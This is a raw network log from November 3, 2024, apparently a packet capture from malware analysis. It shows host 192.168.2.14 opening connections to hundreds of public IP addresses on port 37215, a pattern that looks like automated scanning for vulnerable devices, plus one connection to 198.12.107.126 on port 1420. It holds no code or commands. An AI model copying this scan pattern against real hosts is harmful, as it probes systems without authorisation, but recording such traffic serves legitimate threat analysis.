Nov 3, 2024 15:37:16.393356085 CET	35945	37215	192.168.2.14	197.204.172.121
Nov 3, 2024 15:37:16.393357992 CET	35945	37215	192.168.2.14	197.193.88.75
Nov 3, 2024 15:37:16.393363953 CET	35945	37215	192.168.2.14	156.17.136.67
Nov 3, 2024 15:37:16.393368006 CET	35945	37215	192.168.2.14	197.115.183.169
Nov 3, 2024 15:37:16.393377066 CET	35945	37215	192.168.2.14	41.206.249.57
Nov 3, 2024 15:37:16.393381119 CET	35945	37215	192.168.2.14	41.74.47.80
Nov 3, 2024 15:37:16.393385887 CET	35945	37215	192.168.2.14	197.158.133.85
Nov 3, 2024 15:37:16.393390894 CET	35945	37215	192.168.2.14	41.238.225.135
Nov 3, 2024 15:37:16.393402100 CET	35945	37215	192.168.2.14	197.200.134.146
Nov 3, 2024 15:37:16.393409967 CET	35945	37215	192.168.2.14	197.68.87.14
Nov 3, 2024 15:37:16.393418074 CET	35945	37215	192.168.2.14	156.75.178.61
Nov 3, 2024 15:37:16.393418074 CET	35945	37215	192.168.2.14	41.78.81.82
Nov 3, 2024 15:37:16.393419981 CET	35945	37215	192.168.2.14	41.124.6.157
Nov 3, 2024 15:37:16.393424988 CET	35945	37215	192.168.2.14	41.76.83.94
Nov 3, 2024 15:37:16.393445969 CET	35945	37215	192.168.2.14	156.62.151.151
Nov 3, 2024 15:37:16.393445969 CET	35945	37215	192.168.2.14	41.130.155.61
Nov 3, 2024 15:37:16.393446922 CET	35945	37215	192.168.2.14	197.19.142.64
Nov 3, 2024 15:37:16.393449068 CET	35945	37215	192.168.2.14	41.162.218.234
Nov 3, 2024 15:37:16.393455982 CET	35945	37215	192.168.2.14	197.164.189.41
Nov 3, 2024 15:37:16.393465996 CET	35945	37215	192.168.2.14	197.229.255.94
Nov 3, 2024 15:37:16.393471956 CET	35945	37215	192.168.2.14	41.94.33.31
Nov 3, 2024 15:37:16.393480062 CET	35945	37215	192.168.2.14	197.253.2.198
Nov 3, 2024 15:37:16.393481970 CET	35945	37215	192.168.2.14	197.66.102.63
Nov 3, 2024 15:37:16.393487930 CET	35945	37215	192.168.2.14	41.81.146.255
Nov 3, 2024 15:37:16.393496037 CET	35945	37215	192.168.2.14	197.154.206.209
Nov 3, 2024 15:37:16.393501997 CET	35945	37215	192.168.2.14	197.100.49.21
Nov 3, 2024 15:37:16.393511057 CET	35945	37215	192.168.2.14	197.225.188.7
Nov 3, 2024 15:37:16.393520117 CET	35945	37215	192.168.2.14	197.61.62.220
Nov 3, 2024 15:37:16.393532991 CET	35945	37215	192.168.2.14	156.99.122.149
Nov 3, 2024 15:37:16.393532991 CET	35945	37215	192.168.2.14	197.67.196.184
Nov 3, 2024 15:37:16.393532991 CET	35945	37215	192.168.2.14	197.202.73.78
Nov 3, 2024 15:37:16.393534899 CET	35945	37215	192.168.2.14	41.11.148.155
Nov 3, 2024 15:37:16.393537998 CET	35945	37215	192.168.2.14	41.154.26.35
Nov 3, 2024 15:37:16.393544912 CET	35945	37215	192.168.2.14	41.155.130.174
Nov 3, 2024 15:37:16.393546104 CET	35945	37215	192.168.2.14	41.35.90.108
Nov 3, 2024 15:37:16.393553972 CET	35945	37215	192.168.2.14	41.144.187.91
Nov 3, 2024 15:37:16.393563032 CET	35945	37215	192.168.2.14	156.151.174.1
Nov 3, 2024 15:37:16.393565893 CET	35945	37215	192.168.2.14	197.192.67.232
Nov 3, 2024 15:37:16.393577099 CET	35945	37215	192.168.2.14	41.218.133.87
Nov 3, 2024 15:37:16.393580914 CET	35945	37215	192.168.2.14	197.161.183.255
Nov 3, 2024 15:37:16.393584013 CET	35945	37215	192.168.2.14	197.35.211.134
Nov 3, 2024 15:37:16.393594980 CET	35945	37215	192.168.2.14	41.179.127.156
Nov 3, 2024 15:37:16.393595934 CET	35945	37215	192.168.2.14	156.146.54.168
Nov 3, 2024 15:37:16.393609047 CET	35945	37215	192.168.2.14	156.129.27.234
Nov 3, 2024 15:37:16.393610001 CET	35945	37215	192.168.2.14	156.90.96.100
Nov 3, 2024 15:37:16.393632889 CET	35945	37215	192.168.2.14	41.76.126.245
Nov 3, 2024 15:37:16.393636942 CET	35945	37215	192.168.2.14	41.156.62.131
Nov 3, 2024 15:37:16.393636942 CET	35945	37215	192.168.2.14	41.36.218.86
Nov 3, 2024 15:37:16.393645048 CET	35945	37215	192.168.2.14	41.174.173.217
Nov 3, 2024 15:37:16.393646002 CET	35945	37215	192.168.2.14	41.91.204.175
Nov 3, 2024 15:37:16.393647909 CET	35945	37215	192.168.2.14	41.185.185.99
Nov 3, 2024 15:37:16.393649101 CET	35945	37215	192.168.2.14	156.132.200.245
Nov 3, 2024 15:37:16.393649101 CET	35945	37215	192.168.2.14	197.131.28.200
Nov 3, 2024 15:37:16.393651009 CET	35945	37215	192.168.2.14	197.25.242.117
Nov 3, 2024 15:37:16.393651009 CET	35945	37215	192.168.2.14	197.34.178.225
Nov 3, 2024 15:37:16.393651009 CET	35945	37215	192.168.2.14	197.27.82.113
Nov 3, 2024 15:37:16.393657923 CET	35945	37215	192.168.2.14	156.177.56.126
Nov 3, 2024 15:37:16.393661022 CET	35945	37215	192.168.2.14	156.0.46.179
Nov 3, 2024 15:37:16.393665075 CET	35945	37215	192.168.2.14	41.211.48.24
Nov 3, 2024 15:37:16.393665075 CET	35945	37215	192.168.2.14	156.248.39.157
Nov 3, 2024 15:37:16.393666029 CET	35945	37215	192.168.2.14	41.46.171.14
Nov 3, 2024 15:37:16.393671036 CET	35945	37215	192.168.2.14	197.29.194.184
Nov 3, 2024 15:37:16.393675089 CET	35945	37215	192.168.2.14	41.77.77.195
Nov 3, 2024 15:37:16.393675089 CET	35945	37215	192.168.2.14	156.107.17.64
Nov 3, 2024 15:37:16.393692017 CET	35945	37215	192.168.2.14	156.43.185.240
Nov 3, 2024 15:37:16.393696070 CET	35945	37215	192.168.2.14	41.0.123.217
Nov 3, 2024 15:37:16.393699884 CET	35945	37215	192.168.2.14	156.41.196.200
Nov 3, 2024 15:37:16.393708944 CET	35945	37215	192.168.2.14	156.30.76.21
Nov 3, 2024 15:37:16.393713951 CET	35945	37215	192.168.2.14	197.236.239.205
Nov 3, 2024 15:37:16.393723011 CET	35945	37215	192.168.2.14	156.222.226.32
Nov 3, 2024 15:37:16.393729925 CET	35945	37215	192.168.2.14	41.222.215.195
Nov 3, 2024 15:37:16.393731117 CET	35945	37215	192.168.2.14	156.154.183.244
Nov 3, 2024 15:37:16.393739939 CET	35945	37215	192.168.2.14	197.26.61.159
Nov 3, 2024 15:37:16.393743992 CET	35945	37215	192.168.2.14	197.5.237.175
Nov 3, 2024 15:37:16.393749952 CET	35945	37215	192.168.2.14	156.14.241.22
Nov 3, 2024 15:37:16.393758059 CET	35945	37215	192.168.2.14	41.213.162.49
Nov 3, 2024 15:37:16.393758059 CET	35945	37215	192.168.2.14	197.254.129.189
Nov 3, 2024 15:37:16.393765926 CET	35945	37215	192.168.2.14	197.79.2.62
Nov 3, 2024 15:37:16.393767118 CET	35945	37215	192.168.2.14	41.84.228.122
Nov 3, 2024 15:37:16.393785000 CET	35945	37215	192.168.2.14	197.117.133.117
Nov 3, 2024 15:37:16.393785000 CET	35945	37215	192.168.2.14	197.60.169.236
Nov 3, 2024 15:37:16.393793106 CET	35945	37215	192.168.2.14	156.227.220.251
Nov 3, 2024 15:37:16.393793106 CET	35945	37215	192.168.2.14	156.206.27.238
Nov 3, 2024 15:37:16.393793106 CET	35945	37215	192.168.2.14	156.196.253.240
Nov 3, 2024 15:37:16.393793106 CET	35945	37215	192.168.2.14	41.38.193.162
Nov 3, 2024 15:37:16.393795967 CET	35945	37215	192.168.2.14	41.219.237.21
Nov 3, 2024 15:37:16.393811941 CET	35945	37215	192.168.2.14	156.37.140.159
Nov 3, 2024 15:37:16.393820047 CET	35945	37215	192.168.2.14	41.31.181.26
Nov 3, 2024 15:37:16.393821001 CET	35945	37215	192.168.2.14	41.168.205.90
Nov 3, 2024 15:37:16.393834114 CET	35945	37215	192.168.2.14	197.18.216.96
Nov 3, 2024 15:37:16.393834114 CET	35945	37215	192.168.2.14	197.180.93.189
Nov 3, 2024 15:37:16.393837929 CET	35945	37215	192.168.2.14	197.142.203.132
Nov 3, 2024 15:37:16.393851995 CET	35945	37215	192.168.2.14	197.77.251.152
Nov 3, 2024 15:37:16.393852949 CET	35945	37215	192.168.2.14	156.205.144.218
Nov 3, 2024 15:37:16.393855095 CET	35945	37215	192.168.2.14	156.142.240.232
Nov 3, 2024 15:37:16.393856049 CET	35945	37215	192.168.2.14	197.82.194.248
Nov 3, 2024 15:37:16.393863916 CET	35945	37215	192.168.2.14	41.212.240.147
Nov 3, 2024 15:37:16.393870115 CET	35945	37215	192.168.2.14	41.211.225.39
Nov 3, 2024 15:37:16.393870115 CET	35945	37215	192.168.2.14	41.38.103.104
Nov 3, 2024 15:37:16.393872023 CET	35945	37215	192.168.2.14	41.244.26.118
Nov 3, 2024 15:37:16.393887997 CET	35945	37215	192.168.2.14	41.252.157.20
Nov 3, 2024 15:37:16.393887997 CET	35945	37215	192.168.2.14	41.137.164.59
Nov 3, 2024 15:37:16.393889904 CET	35945	37215	192.168.2.14	41.141.12.85
Nov 3, 2024 15:37:16.393902063 CET	35945	37215	192.168.2.14	197.28.129.0
Nov 3, 2024 15:37:16.393906116 CET	35945	37215	192.168.2.14	197.202.105.221
Nov 3, 2024 15:37:16.393910885 CET	35945	37215	192.168.2.14	156.115.109.111
Nov 3, 2024 15:37:16.393910885 CET	35945	37215	192.168.2.14	197.110.83.131
Nov 3, 2024 15:37:16.393922091 CET	35945	37215	192.168.2.14	156.74.249.164
Nov 3, 2024 15:37:16.393922091 CET	35945	37215	192.168.2.14	197.77.110.95
Nov 3, 2024 15:37:16.393937111 CET	35945	37215	192.168.2.14	156.247.222.173
Nov 3, 2024 15:37:16.393944979 CET	35945	37215	192.168.2.14	197.170.139.93
Nov 3, 2024 15:37:16.393944979 CET	35945	37215	192.168.2.14	197.31.190.229
Nov 3, 2024 15:37:16.393951893 CET	35945	37215	192.168.2.14	41.172.88.198
Nov 3, 2024 15:37:16.393953085 CET	35945	37215	192.168.2.14	197.200.42.115
Nov 3, 2024 15:37:16.393955946 CET	35945	37215	192.168.2.14	156.38.25.142
Nov 3, 2024 15:37:16.393968105 CET	35945	37215	192.168.2.14	197.16.58.13
Nov 3, 2024 15:37:16.393970966 CET	35945	37215	192.168.2.14	41.233.77.131
Nov 3, 2024 15:37:16.393979073 CET	35945	37215	192.168.2.14	41.209.16.66
Nov 3, 2024 15:37:16.393990040 CET	35945	37215	192.168.2.14	197.149.177.101
Nov 3, 2024 15:37:16.393996000 CET	35945	37215	192.168.2.14	197.65.121.180
Nov 3, 2024 15:37:16.394001007 CET	35945	37215	192.168.2.14	156.130.93.55
Nov 3, 2024 15:37:16.394011021 CET	35945	37215	192.168.2.14	41.38.217.51
Nov 3, 2024 15:37:16.394018888 CET	35945	37215	192.168.2.14	41.251.254.72
Nov 3, 2024 15:37:16.394018888 CET	35945	37215	192.168.2.14	41.206.121.68
Nov 3, 2024 15:37:16.394032001 CET	35945	37215	192.168.2.14	156.27.237.58
Nov 3, 2024 15:37:16.394037008 CET	35945	37215	192.168.2.14	197.94.221.82
Nov 3, 2024 15:37:16.394038916 CET	35945	37215	192.168.2.14	41.178.81.52
Nov 3, 2024 15:37:16.394040108 CET	35945	37215	192.168.2.14	197.124.56.60
Nov 3, 2024 15:37:16.394042015 CET	35945	37215	192.168.2.14	197.51.26.12
Nov 3, 2024 15:37:16.394054890 CET	35945	37215	192.168.2.14	197.191.103.66
Nov 3, 2024 15:37:16.394058943 CET	35945	37215	192.168.2.14	41.59.82.147
Nov 3, 2024 15:37:16.394062996 CET	35945	37215	192.168.2.14	197.1.87.233
Nov 3, 2024 15:37:16.394071102 CET	35945	37215	192.168.2.14	197.219.115.219
Nov 3, 2024 15:37:16.394088030 CET	35945	37215	192.168.2.14	41.187.191.208
Nov 3, 2024 15:37:16.394088030 CET	35945	37215	192.168.2.14	156.220.32.162
Nov 3, 2024 15:37:16.394093037 CET	35945	37215	192.168.2.14	156.115.60.166
Nov 3, 2024 15:37:16.394107103 CET	35945	37215	192.168.2.14	156.181.197.183
Nov 3, 2024 15:37:16.394107103 CET	35945	37215	192.168.2.14	197.218.154.229
Nov 3, 2024 15:37:16.394115925 CET	35945	37215	192.168.2.14	197.246.190.28
Nov 3, 2024 15:37:16.394117117 CET	35945	37215	192.168.2.14	156.59.15.76
Nov 3, 2024 15:37:16.394129038 CET	35945	37215	192.168.2.14	197.174.126.20
Nov 3, 2024 15:37:16.394135952 CET	35945	37215	192.168.2.14	41.49.127.46
Nov 3, 2024 15:37:16.394141912 CET	35945	37215	192.168.2.14	41.145.101.99
Nov 3, 2024 15:37:16.394149065 CET	35945	37215	192.168.2.14	156.247.207.205
Nov 3, 2024 15:37:16.394150972 CET	35945	37215	192.168.2.14	197.255.212.194
Nov 3, 2024 15:37:16.394155979 CET	35945	37215	192.168.2.14	197.113.206.63
Nov 3, 2024 15:37:16.394162893 CET	35945	37215	192.168.2.14	41.10.89.65
Nov 3, 2024 15:37:16.394171953 CET	35945	37215	192.168.2.14	156.94.72.255
Nov 3, 2024 15:37:16.394174099 CET	35945	37215	192.168.2.14	197.193.109.30
Nov 3, 2024 15:37:16.394186974 CET	35945	37215	192.168.2.14	41.207.189.115
Nov 3, 2024 15:37:16.394198895 CET	35945	37215	192.168.2.14	41.74.38.169
Nov 3, 2024 15:37:16.394198895 CET	35945	37215	192.168.2.14	41.129.208.143
Nov 3, 2024 15:37:16.394203901 CET	35945	37215	192.168.2.14	41.212.244.101
Nov 3, 2024 15:37:16.394205093 CET	35945	37215	192.168.2.14	41.190.150.41
Nov 3, 2024 15:37:16.394206047 CET	35945	37215	192.168.2.14	41.210.187.224
Nov 3, 2024 15:37:16.394211054 CET	35945	37215	192.168.2.14	197.52.74.152
Nov 3, 2024 15:37:16.394217014 CET	35945	37215	192.168.2.14	197.79.67.242
Nov 3, 2024 15:37:16.394220114 CET	35945	37215	192.168.2.14	197.253.253.57
Nov 3, 2024 15:37:16.394227982 CET	35945	37215	192.168.2.14	156.23.38.65
Nov 3, 2024 15:37:16.394227982 CET	35945	37215	192.168.2.14	156.154.147.129
Nov 3, 2024 15:37:16.397686005 CET	37215	35945	197.158.117.181	192.168.2.14
Nov 3, 2024 15:37:16.397718906 CET	37215	35945	41.2.184.81	192.168.2.14
Nov 3, 2024 15:37:16.397751093 CET	37215	35945	41.252.159.113	192.168.2.14
Nov 3, 2024 15:37:16.397779942 CET	37215	35945	156.67.33.74	192.168.2.14
Nov 3, 2024 15:37:16.397790909 CET	35945	37215	192.168.2.14	197.158.117.181
Nov 3, 2024 15:37:16.397808075 CET	37215	35945	197.42.10.24	192.168.2.14
Nov 3, 2024 15:37:16.397816896 CET	35945	37215	192.168.2.14	41.2.184.81
Nov 3, 2024 15:37:16.397818089 CET	35945	37215	192.168.2.14	41.252.159.113
Nov 3, 2024 15:37:16.397818089 CET	35945	37215	192.168.2.14	156.67.33.74
Nov 3, 2024 15:37:16.397991896 CET	35945	37215	192.168.2.14	197.42.10.24
Nov 3, 2024 15:37:16.398068905 CET	37215	35945	156.6.85.72	192.168.2.14
Nov 3, 2024 15:37:16.398098946 CET	37215	35945	41.15.109.234	192.168.2.14
Nov 3, 2024 15:37:16.398112059 CET	35945	37215	192.168.2.14	156.6.85.72
Nov 3, 2024 15:37:16.398128986 CET	37215	35945	197.8.88.115	192.168.2.14
Nov 3, 2024 15:37:16.398159027 CET	37215	35945	197.74.204.93	192.168.2.14
Nov 3, 2024 15:37:16.398166895 CET	35945	37215	192.168.2.14	41.15.109.234
Nov 3, 2024 15:37:16.398171902 CET	35945	37215	192.168.2.14	197.8.88.115
Nov 3, 2024 15:37:16.398189068 CET	37215	35945	197.160.218.196	192.168.2.14
Nov 3, 2024 15:37:16.398200035 CET	35945	37215	192.168.2.14	197.74.204.93
Nov 3, 2024 15:37:16.398217916 CET	37215	35945	41.210.51.174	192.168.2.14
Nov 3, 2024 15:37:16.398228884 CET	35945	37215	192.168.2.14	197.160.218.196
Nov 3, 2024 15:37:16.398248911 CET	37215	35945	156.77.168.197	192.168.2.14
Nov 3, 2024 15:37:16.398263931 CET	35945	37215	192.168.2.14	41.210.51.174
Nov 3, 2024 15:37:16.398278952 CET	37215	35945	156.165.35.59	192.168.2.14
Nov 3, 2024 15:37:16.398294926 CET	35945	37215	192.168.2.14	156.77.168.197
Nov 3, 2024 15:37:16.398322105 CET	35945	37215	192.168.2.14	156.165.35.59
Nov 3, 2024 15:37:16.398332119 CET	37215	35945	156.140.166.29	192.168.2.14
Nov 3, 2024 15:37:16.398361921 CET	37215	35945	197.23.3.175	192.168.2.14
Nov 3, 2024 15:37:16.398371935 CET	35945	37215	192.168.2.14	156.140.166.29
Nov 3, 2024 15:37:16.398392916 CET	37215	35945	41.252.6.84	192.168.2.14
Nov 3, 2024 15:37:16.398396015 CET	35945	37215	192.168.2.14	197.23.3.175
Nov 3, 2024 15:37:16.398422956 CET	37215	35945	156.181.44.65	192.168.2.14
Nov 3, 2024 15:37:16.398425102 CET	35945	37215	192.168.2.14	41.252.6.84
Nov 3, 2024 15:37:16.398452044 CET	37215	35945	156.121.114.18	192.168.2.14
Nov 3, 2024 15:37:16.398462057 CET	35945	37215	192.168.2.14	156.181.44.65
Nov 3, 2024 15:37:16.398483992 CET	37215	35945	41.225.163.126	192.168.2.14
Nov 3, 2024 15:37:16.398484945 CET	35945	37215	192.168.2.14	156.121.114.18
Nov 3, 2024 15:37:16.398513079 CET	37215	35945	41.255.38.223	192.168.2.14
Nov 3, 2024 15:37:16.398523092 CET	35945	37215	192.168.2.14	41.225.163.126
Nov 3, 2024 15:37:16.398541927 CET	37215	35945	41.143.67.192	192.168.2.14
Nov 3, 2024 15:37:16.398554087 CET	35945	37215	192.168.2.14	41.255.38.223
Nov 3, 2024 15:37:16.398572922 CET	35945	37215	192.168.2.14	41.143.67.192
Nov 3, 2024 15:37:16.398585081 CET	37215	35945	156.159.190.156	192.168.2.14
Nov 3, 2024 15:37:16.398614883 CET	37215	35945	156.44.101.228	192.168.2.14
Nov 3, 2024 15:37:16.398624897 CET	35945	37215	192.168.2.14	156.159.190.156
Nov 3, 2024 15:37:16.398643970 CET	37215	35945	197.164.35.18	192.168.2.14
Nov 3, 2024 15:37:16.398658037 CET	35945	37215	192.168.2.14	156.44.101.228
Nov 3, 2024 15:37:16.398688078 CET	35945	37215	192.168.2.14	197.164.35.18
Nov 3, 2024 15:37:16.409393072 CET	34720	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:37:16.409395933 CET	42672	37215	192.168.2.14	197.168.207.218
Nov 3, 2024 15:37:16.409395933 CET	48946	37215	192.168.2.14	197.144.190.215
Nov 3, 2024 15:37:16.409398079 CET	39698	37215	192.168.2.14	41.57.195.204
Nov 3, 2024 15:37:16.409415960 CET	54620	37215	192.168.2.14	156.1.175.26
Nov 3, 2024 15:37:16.409415960 CET	51530	37215	192.168.2.14	197.158.205.166
Nov 3, 2024 15:37:16.409415960 CET	37002	37215	192.168.2.14	41.91.180.27
Nov 3, 2024 15:37:16.409425020 CET	43610	37215	192.168.2.14	197.36.219.165
Nov 3, 2024 15:37:16.409425020 CET	56984	37215	192.168.2.14	156.249.84.186
Nov 3, 2024 15:37:16.409425020 CET	60116	37215	192.168.2.14	156.1.197.27
Nov 3, 2024 15:37:16.409425974 CET	54504	37215	192.168.2.14	41.197.148.234
Nov 3, 2024 15:37:16.409427881 CET	36104	37215	192.168.2.14	41.173.42.20
Nov 3, 2024 15:37:16.409427881 CET	47112	37215	192.168.2.14	197.50.242.100
Nov 3, 2024 15:37:16.409426928 CET	49566	37215	192.168.2.14	41.0.36.115
Nov 3, 2024 15:37:16.409427881 CET	44552	37215	192.168.2.14	156.99.216.209
Nov 3, 2024 15:37:16.409427881 CET	59180	37215	192.168.2.14	197.83.169.153
Nov 3, 2024 15:37:16.409427881 CET	59914	37215	192.168.2.14	197.68.141.179
Nov 3, 2024 15:37:16.409430027 CET	40084	37215	192.168.2.14	41.151.96.59
Nov 3, 2024 15:37:16.409430027 CET	56072	37215	192.168.2.14	156.215.238.162
Nov 3, 2024 15:37:16.409442902 CET	56416	37215	192.168.2.14	197.120.32.59
Nov 3, 2024 15:37:16.409442902 CET	34810	37215	192.168.2.14	41.123.220.157
Nov 3, 2024 15:37:16.409442902 CET	55838	37215	192.168.2.14	197.72.90.5
Nov 3, 2024 15:37:16.409442902 CET	37400	37215	192.168.2.14	41.24.186.179
Nov 3, 2024 15:37:16.409447908 CET	58630	37215	192.168.2.14	41.99.4.242
Nov 3, 2024 15:37:16.409446955 CET	42698	37215	192.168.2.14	156.246.196.31
Nov 3, 2024 15:37:16.409446955 CET	55202	37215	192.168.2.14	197.173.226.251
Nov 3, 2024 15:37:16.409447908 CET	54902	37215	192.168.2.14	156.203.233.92
Nov 3, 2024 15:37:16.409447908 CET	39966	37215	192.168.2.14	41.121.224.242
Nov 3, 2024 15:37:16.409450054 CET	58602	37215	192.168.2.14	197.104.105.200
Nov 3, 2024 15:37:16.409447908 CET	48638	37215	192.168.2.14	156.25.86.246
Nov 3, 2024 15:37:16.409450054 CET	33542	37215	192.168.2.14	156.32.187.219
Nov 3, 2024 15:37:16.409451962 CET	48060	37215	192.168.2.14	197.239.31.222
Nov 3, 2024 15:37:16.409451962 CET	42608	37215	192.168.2.14	197.247.221.194
Nov 3, 2024 15:37:16.409451962 CET	38634	37215	192.168.2.14	156.154.46.55
Nov 3, 2024 15:37:16.409451962 CET	48216	37215	192.168.2.14	197.149.180.27
Nov 3, 2024 15:37:16.409451962 CET	56662	37215	192.168.2.14	156.85.157.22
Nov 3, 2024 15:37:16.409454107 CET	44656	37215	192.168.2.14	41.59.95.34
Nov 3, 2024 15:37:16.409451962 CET	49212	37215	192.168.2.14	197.51.53.55
Nov 3, 2024 15:37:16.409451962 CET	43310	37215	192.168.2.14	41.208.63.119
Nov 3, 2024 15:37:16.409461975 CET	48058	37215	192.168.2.14	41.90.238.22
Nov 3, 2024 15:37:16.409461975 CET	48204	37215	192.168.2.14	41.64.121.123
Nov 3, 2024 15:37:16.409463882 CET	33548	37215	192.168.2.14	41.245.36.19
Nov 3, 2024 15:37:16.409463882 CET	33250	37215	192.168.2.14	156.57.255.166
Nov 3, 2024 15:37:16.409463882 CET	55334	37215	192.168.2.14	41.170.82.40
Nov 3, 2024 15:37:16.409472942 CET	34820	37215	192.168.2.14	197.65.50.117
Nov 3, 2024 15:37:16.409475088 CET	34724	37215	192.168.2.14	197.14.119.91
Nov 3, 2024 15:37:16.409475088 CET	34482	37215	192.168.2.14	156.100.58.82
Nov 3, 2024 15:37:16.409475088 CET	56960	37215	192.168.2.14	156.72.20.147
Nov 3, 2024 15:37:16.409475088 CET	55894	37215	192.168.2.14	197.237.120.56
Nov 3, 2024 15:37:16.409481049 CET	42852	37215	192.168.2.14	156.45.156.103
Nov 3, 2024 15:37:16.409481049 CET	36008	37215	192.168.2.14	197.77.226.77
Nov 3, 2024 15:37:16.409483910 CET	34842	37215	192.168.2.14	41.55.153.40
Nov 3, 2024 15:37:16.409483910 CET	55956	37215	192.168.2.14	156.35.57.9
Nov 3, 2024 15:37:16.409485102 CET	37464	37215	192.168.2.14	156.146.220.8
Nov 3, 2024 15:37:16.409485102 CET	57226	37215	192.168.2.14	197.244.133.121
Nov 3, 2024 15:37:16.409485102 CET	52718	37215	192.168.2.14	41.116.76.59
Nov 3, 2024 15:37:16.409486055 CET	49962	37215	192.168.2.14	41.140.24.249
Nov 3, 2024 15:37:16.409485102 CET	53258	37215	192.168.2.14	156.75.31.38
Nov 3, 2024 15:37:16.409487009 CET	50218	37215	192.168.2.14	41.124.100.105
Nov 3, 2024 15:37:16.409486055 CET	41162	37215	192.168.2.14	197.73.50.52
Nov 3, 2024 15:37:16.409485102 CET	49066	37215	192.168.2.14	156.178.161.125
Nov 3, 2024 15:37:16.409495115 CET	35088	37215	192.168.2.14	156.187.208.176
Nov 3, 2024 15:37:16.409495115 CET	49468	37215	192.168.2.14	41.81.218.198
Nov 3, 2024 15:37:16.409497023 CET	46480	37215	192.168.2.14	156.101.89.153
Nov 3, 2024 15:37:16.409497023 CET	53610	37215	192.168.2.14	41.181.36.69
Nov 3, 2024 15:37:16.409502983 CET	42884	37215	192.168.2.14	156.73.198.116
Nov 3, 2024 15:37:16.409502983 CET	35492	37215	192.168.2.14	156.62.132.188
Nov 3, 2024 15:37:16.409502983 CET	33764	37215	192.168.2.14	41.110.61.43
Nov 3, 2024 15:37:16.409502983 CET	40702	37215	192.168.2.14	197.168.105.0
Nov 3, 2024 15:37:16.409503937 CET	60112	37215	192.168.2.14	197.82.192.210
Nov 3, 2024 15:37:16.409502983 CET	58276	37215	192.168.2.14	41.206.163.139
Nov 3, 2024 15:37:16.409502983 CET	39840	37215	192.168.2.14	156.79.246.188
Nov 3, 2024 15:37:16.409503937 CET	46318	37215	192.168.2.14	41.117.220.187
Nov 3, 2024 15:37:16.409507036 CET	50422	37215	192.168.2.14	156.87.93.196
Nov 3, 2024 15:37:16.409503937 CET	54606	37215	192.168.2.14	156.65.148.244
Nov 3, 2024 15:37:16.409503937 CET	39632	37215	192.168.2.14	197.171.92.70
Nov 3, 2024 15:37:16.409503937 CET	37326	37215	192.168.2.14	156.94.115.208
Nov 3, 2024 15:37:16.409503937 CET	39456	37215	192.168.2.14	197.236.148.241
Nov 3, 2024 15:37:16.409503937 CET	43786	37215	192.168.2.14	156.155.194.250
Nov 3, 2024 15:37:16.409523964 CET	54428	37215	192.168.2.14	156.117.101.221
Nov 3, 2024 15:37:16.409523964 CET	60158	37215	192.168.2.14	156.218.149.19
Nov 3, 2024 15:37:16.409523964 CET	34060	37215	192.168.2.14	197.176.30.55
Nov 3, 2024 15:37:16.409523964 CET	41640	37215	192.168.2.14	41.231.253.221
Nov 3, 2024 15:37:16.409523964 CET	52624	37215	192.168.2.14	156.248.218.251
Nov 3, 2024 15:37:16.409523964 CET	38286	37215	192.168.2.14	197.149.134.205
Nov 3, 2024 15:37:16.409524918 CET	54502	37215	192.168.2.14	197.4.101.8
Nov 3, 2024 15:37:16.409528017 CET	33730	37215	192.168.2.14	156.252.190.15
Nov 3, 2024 15:37:16.409528017 CET	41230	37215	192.168.2.14	41.87.115.234
Nov 3, 2024 15:37:16.409528017 CET	44916	37215	192.168.2.14	156.158.66.213
Nov 3, 2024 15:37:16.409529924 CET	36594	37215	192.168.2.14	156.105.93.217
Nov 3, 2024 15:37:16.409529924 CET	59684	37215	192.168.2.14	156.116.52.15
Nov 3, 2024 15:37:16.409529924 CET	42318	37215	192.168.2.14	41.219.211.110
Nov 3, 2024 15:37:16.409531116 CET	54600	37215	192.168.2.14	156.132.215.120
Nov 3, 2024 15:37:16.409529924 CET	45284	37215	192.168.2.14	41.30.145.90
Nov 3, 2024 15:37:16.409531116 CET	34156	37215	192.168.2.14	41.208.177.241
Nov 3, 2024 15:37:16.409531116 CET	45902	37215	192.168.2.14	156.240.11.196
Nov 3, 2024 15:37:16.409531116 CET	46234	37215	192.168.2.14	41.44.88.222
Nov 3, 2024 15:37:16.409532070 CET	39178	37215	192.168.2.14	41.37.93.47
Nov 3, 2024 15:37:16.409531116 CET	41586	37215	192.168.2.14	197.103.233.17
Nov 3, 2024 15:37:16.409532070 CET	39098	37215	192.168.2.14	41.115.134.54
Nov 3, 2024 15:37:16.409531116 CET	42944	37215	192.168.2.14	197.147.64.213
Nov 3, 2024 15:37:16.409532070 CET	49198	37215	192.168.2.14	197.64.58.243
Nov 3, 2024 15:37:16.409531116 CET	42594	37215	192.168.2.14	156.207.52.16
Nov 3, 2024 15:37:16.409532070 CET	46902	37215	192.168.2.14	156.196.210.138
Nov 3, 2024 15:37:16.409532070 CET	42290	37215	192.168.2.14	156.207.100.120
Nov 3, 2024 15:37:16.409532070 CET	51412	37215	192.168.2.14	197.25.127.11
Nov 3, 2024 15:37:16.409538031 CET	35186	37215	192.168.2.14	41.114.3.159
Nov 3, 2024 15:37:16.409543991 CET	35804	37215	192.168.2.14	156.222.131.20
Nov 3, 2024 15:37:16.409544945 CET	32902	37215	192.168.2.14	41.56.99.224
Nov 3, 2024 15:37:16.409544945 CET	39856	37215	192.168.2.14	197.102.60.80
Nov 3, 2024 15:37:16.409548998 CET	45074	37215	192.168.2.14	41.16.193.192
Nov 3, 2024 15:37:16.409548998 CET	33632	37215	192.168.2.14	197.237.172.189
Nov 3, 2024 15:37:16.409548998 CET	56806	37215	192.168.2.14	156.67.212.17
Nov 3, 2024 15:37:16.409549952 CET	41718	37215	192.168.2.14	156.179.100.125
Nov 3, 2024 15:37:16.409550905 CET	58748	37215	192.168.2.14	41.134.217.71
Nov 3, 2024 15:37:16.409550905 CET	60366	37215	192.168.2.14	156.222.167.49
Nov 3, 2024 15:37:16.409550905 CET	60206	37215	192.168.2.14	41.178.239.255
Nov 3, 2024 15:37:16.409550905 CET	42044	37215	192.168.2.14	41.53.15.217
Nov 3, 2024 15:37:16.409550905 CET	33460	37215	192.168.2.14	41.97.40.64
Nov 3, 2024 15:37:16.409553051 CET	51568	37215	192.168.2.14	41.28.154.247
Nov 3, 2024 15:37:16.409554005 CET	47370	37215	192.168.2.14	156.125.31.160
Nov 3, 2024 15:37:16.409568071 CET	42132	37215	192.168.2.14	156.132.155.248
Nov 3, 2024 15:37:16.409568071 CET	55450	37215	192.168.2.14	41.50.59.30
Nov 3, 2024 15:37:16.409568071 CET	34834	37215	192.168.2.14	197.21.175.100
Nov 3, 2024 15:37:16.409568071 CET	55452	37215	192.168.2.14	41.206.130.169
